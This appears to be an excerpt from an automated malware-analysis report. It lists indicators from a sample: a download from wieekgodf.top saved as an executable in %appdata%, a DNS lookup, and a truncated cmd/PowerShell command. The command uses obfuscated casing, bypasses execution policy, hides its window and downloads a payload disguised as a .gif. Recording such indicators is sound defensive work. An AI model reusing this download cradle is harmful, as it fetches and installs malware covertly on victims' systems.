Technical Information
- http://www.wieekgodf.top/read.php?f=1.gif as %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "pOweRShelL.eXe -EXECUtIOnpOlICY ByPAss -NOPrOfIle -wiNDowsTyLE hiDDEn (nEW-oBJECt sysTem.NeT.wEBcLIeNT).dOwNloAdFIle('http://www.wieekgodf.top/read.php?f=1.gif','%apPDatA...
- DNS ASK wi###godf.top
- '<SYSTEM32>\cmd.exe' /c "pOweRShelL.eXe -EXECUtIOnpOlICY ByPAss -NOPrOfIle -wiNDowsTyLE hiDDEn (nEW-oBJECt sysTem.NeT.wEBcLIeNT).dOwNloAdFIle('http://www.wieekgodf.top/read.php?f=1.gif','%apPDatA...' (with hidden window)